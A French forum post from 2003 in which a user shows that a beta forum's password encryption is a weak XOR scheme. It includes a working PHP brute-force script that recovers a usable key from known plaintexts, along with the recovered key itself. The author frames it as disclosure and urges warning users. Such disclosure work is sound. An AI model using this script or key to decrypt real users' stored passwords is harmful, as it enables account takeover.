Securite
Nouveau
Enregistré le 23/06/2003
Messages: 15
Non connecté
|
Sujet : suite
Ajouté le : 24/06/2003 10:58
Message :
Pour répondre à TiGeR, ça n'a pas été bien long...
J'ai regardé l'algorithme de cryptage (c'est la seule fois ou j'ai eu besoin de regarder dans le code du forum...) et je me suis aperçu qu'il serait possible de retrouver la clée (plus précisément une clée qui marche, car la fonction n'est pas bijective) par brute force 2 lettres par 2 lettres. Le script PHP que j'ai utilisé était hosté sur freesurf qui a fixé le temps max d'exécution à 30 sec...
Si ça vous interesse le voici:
<?
$pass1="%257Ca%255Dl%255E%2523PpWt%2540n%25094%2540F%25032%250E4%2514aNl%2513%252A%2501%253FR%257Bx%2560%255Bm%250BsU%257E%255Ds";
$pass2="%252As%255E1Yb%2503%257FV5K1%255C%2523%251FOU%2528%2508dApG%253BJ5W%253BQ8y5Y-WwV1%2501y";
function getdecrypt($tplxt,$cle)
{
$ctr=0;
$decode="";
for ($i=0;$i<strlen($tplxt);$i++)
{
if ($ctr==strlen($cle))
$ctr=0;
$decode.=(substr($tplxt,$i,1)) ^ (substr($cle,$ctr,1));
$ctr++;
}
$tmp = "";
for ($i=0;$i<strlen($decode);$i+=2)
{
$tmp.= (substr($decode,$i,1))^(substr($decode,$i+1,1));
}
return($tmp);
}
$tmp1=rawurldecode(rawurldecode($pass1));
$tmp2=rawurldecode(rawurldecode($pass2));
for ($i=48 ; $i<123 ; $i++) {
for ($j=48 ;$j<123 ; $j++) {
$clee = "".chr($i).chr($j);
$passwd1=getdecrypt($tmp1,$clee);
$passwd2=getdecrypt($tmp2,$clee);
// 01234567890123456789
// tototatatototatatoto
if (substr($passwd1,10,1) == "0" and substr($passwd2,10,1) == "t") { print("$clee<br>"); }
}
}
?>
$pass1 et $pass2 sont 2 pass cryptés dont je connais la version décryptée.
J'exécute autant de fois ce script que je veut de lettres de la clée en changeant cette ligne à chaque fois:if (substr($passwd1,10,1) == "0" and substr($passwd2,10,1) == "t") { print("$clee<br>");break; }
La clée (parmis bcp d'autres possibles) que j'ai trouvé est: Larrv9aravazneaPleij (marche pour les pass de taille < à 10)
Je ne connaissais pas grand chose en cryptage et en voyant votre forum troué de tous les cotés je me suis dit c'est l'occasion de voir comment c'est foutu. Ben j'ai été déçu lol !
Pour conclure ce que serait pas mal c'est de prévenir les utilisateurs que le forum n'est pas encore sécurisé. Donc de ne pas utiliser ce forum mais de le tester (d'ailleurs c'est le but d'une version beta...)
En tout cas bon courrage !
*** Message édité par Securite le 24/06/2003 11:00 ***
|